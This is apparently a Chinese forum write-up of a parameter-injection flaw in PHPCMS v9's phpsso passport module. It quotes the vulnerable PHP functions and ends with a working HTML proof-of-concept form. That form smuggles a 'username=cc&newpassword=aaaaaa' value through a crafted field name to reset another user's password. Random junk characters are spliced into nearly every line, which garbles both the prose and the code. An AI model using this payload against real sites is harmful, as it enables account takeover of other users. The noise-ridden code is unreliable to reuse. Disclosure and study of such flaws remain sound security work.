提到的通行证的代码:& h8 [+ y" J! R8 g
1 e$ _% j& U2 S# F) V
- M0 s, o2 b. O# C* H; y4 q
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
7 k G* A: g$ Z; T: ?7 C" Z. {; k3 c. J3 M4 w# p, t
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
. z Q! r" ~3 ^( x$ ?: X1 H+ q* k
我把它留给了你们。
% G$ R ]; j2 D不知道你们发现了它没有。
/ r6 f) @4 k: p7 g( E2 e a F, I) C2 m$ ^, ~0 I* }
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。2 X+ ~; g/ ?+ a- \" r3 U1 z
7 F7 ]) I$ R1 t5 j% O3 `3 T0 ~所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。* T) h+ h, d' U% B4 }
/ L& ]1 h" h4 h2 L也就是4 q* a& S8 T% [/ M
9 Q9 P% i& p. v5 s1 S/ s
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
' Z& b) k- h; T9 U
/ q g2 q* ?2 @3 ` f( s- F, F要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。1 Y$ l6 ?' }( W$ \$ j" Y/ ~8 l2 {
/ R# N p9 q3 `7 k% n2 h: ~2 k: ] p6 x$ D! S% o( @
其实我们有这样的机会,看看代码,如下:
, b5 r, I& A% D9 |0 u
4 {4 S& o* g' k& D! U- Q
9 [ @; [/ q Ipublic function auth_data($data) {$ @. P; T s3 A- j1 r6 Y
$s = $sep = '';
; R- |; s M& h, G) f3 _$ c+ X3 d foreach($data as $k => $v) {
! j' y+ S! K8 d if(is_array($v)) {
6 Q- h& O: G0 P% p $s2 = $sep2 = '';
8 ?; z# n9 `2 h# h' [3 [! m foreach($v as $k2 => $v2) {: F, O7 Q9 F5 |
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
4 b: Y- e- V/ y# ]8 S+ R $sep2 = '&';. a J$ j1 r. R, D
}) z6 I# C' s1 w5 y
$s .= $sep.$s2;
( f; g' |& g% o } else {
! J# u) Q. r- ], H. M- g $s .= "$sep$k=".$this->_ps_stripslashes($v);
F) E5 u. u- e& y! ~9 _3 o }, s, {& m$ r6 p1 ~$ p. o$ F
$sep = '&';
9 `$ h# w5 W' J }
8 [( k5 G+ @0 J5 \6 q2 v9 e
4 f; D7 U" y6 C Q* [5 H4 R2 p $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));; P# W% h, U! i, I
return $auth_s;' b8 h" `9 X% f4 ^; D/ d
}
; E& f: K( w1 {6 b% w* ]2 ^6 S1 m) r2 x. K3 B! O: P
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。$ ~; M C! Q1 s N; I* m
0 n* N9 D; x' r) o; T举个例子6 d9 V% `- F1 g$ e
" Y8 L5 [9 L. ?( j$a[aaa=a&bbb] = 'a'; G# V. j( N5 k5 Y3 `% x
/ v, Q. v3 k$ |: _会变成aaa=a&bbb=a5 [: x; P5 Z5 c% S8 k# ^! \
7 T' n, e, \5 F% _9 K
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。- l2 {( o3 R. b% e& W" M4 z0 ]
# A: T# Q- e6 G; d8 i- Q这个时候,我们可以再去看一个函数。
5 [9 s2 q! p, \, `% Z
# d- {; W0 K1 u0 C. @就在这个文件内:& p H" B& d) l
! u3 O& j6 M7 j/ q: S* ?& p
3 o) b3 W' D: [1 P8 Z+ L1 t, E! {public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
# H' ]& S% |) G" y6 ^2 s if($email && !$this->_is_email($email)) {
w2 o9 ~8 p+ V) K! E return -4;
' {& m4 l$ X6 Y4 w4 v0 M" Q }. K, x4 }8 d% {4 t
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
+ l9 W E2 P, O$ ^* ?' s( R% N4 [ }
# h2 V8 ?% D( o6 {( I- }" d7 W5 }7 j5 i( N4 ?4 ~7 V
这是向通行证发了这样一个请求。
& o6 M2 l( q3 V1 a
9 h; M/ d' c8 v. Z我们再跟到通信证代码里去看看,就会有所发现。' s2 q3 q& n5 Z# k/ D
. J' @; h3 e( g) [# v
% g+ }- a( x5 T2 A) i; ~# J/ f1 tpublic function edit() {
* q/ P' m7 D, B8 O7 c% E# T% k; l//能省就省,太长了不是吗?8 V& R J1 n C* o5 x+ T
* L- `4 l" \& ?; Z" ^+ ~; ?& T
if($this->username) {
+ X! w( N/ h6 G7 g) s. d//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
, t, |' M/ x5 c $res = $this->db->update($data, array('username'=>$this->username));1 |8 E- o3 j; m& e( q
} else {
2 d- Q9 z1 z9 t8 r5 D- ~$ O. W$ { file_put_contents('typeb.txt',print_r($data,1).$this->uid);# |( g2 U# i6 ~; o% Q% ~
$res = $this->db->update($data, array('uid'=>$this->uid));4 e' h5 ?, B0 T6 h6 f
}
/ z1 H, l3 l2 g, ?+ Y7 E
( ^; d4 b" [6 h4 F7 v好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:# }9 k; l( z4 ?$ x3 r" y
2 r( P; g: a* S5 W
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
2 m9 G$ m# l6 m8 R
" V( V y& x& \' ]6 q4 [很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
6 K3 j9 X" j/ s% Q; J1 z; c% V( n2 P- x2 s6 L5 L
我当然找到了:$ f! w' Z, c& S* I; @, h; B! D% T
phpcms9/phpcms/modules/member/index.php
* K z% `8 k+ K; h% M- W/ g6 S6 H- R) U
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);8 q! l* c5 a! l
! f: V( b8 ?, w, ^4 ]* z4 ]
然后就没有然后了。
* ]1 j7 M! P) ?4 _. j+ x1 T
8 O3 w' j5 H( E5 L<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 ]) C- e$ H3 X& h5 x4 F | <table width="100%" cellspacing="0" class="table_form">
2 R/ s( _# y) N. w <tr>
+ p: V6 [3 p/ |! U0 L& a: M <th width="80">邮箱:</th> 1 A. Y5 c. J7 {+ C
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>4 s+ }# R8 a. X# `1 c# C5 R. B8 a; p1 _
</tr>
4 u4 {2 G c: s( h% Q5 d <tr>4 r r+ o/ \3 K: {; f8 p
<th width="80">原密码:</th> : s6 {! |2 V# }0 a r! H
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>2 Z& k) x& o) O8 i
</tr># N Q& a5 b `! s, w
<tr>. z& W" q4 c% E" w3 i4 J1 _: \
<th>新密码:</th>
5 E% U$ q8 H* ]% O8 C <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>8 N# D8 m5 E5 y( @7 U
</tr>4 E/ m9 J! }# v
<th></th>
* n" e" f& [4 s* ? <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>$ s6 q8 E/ }) b+ i- L# o
</tr>2 _9 b, z' g! O; ~1 o5 E: P
</table>
+ K f) P# d i: `# V% f* Z
! x5 g7 L, f! `9 a$ B $ F: Q" Z5 ?5 p1 k
</form>3 h: z9 b! {$ F- T
|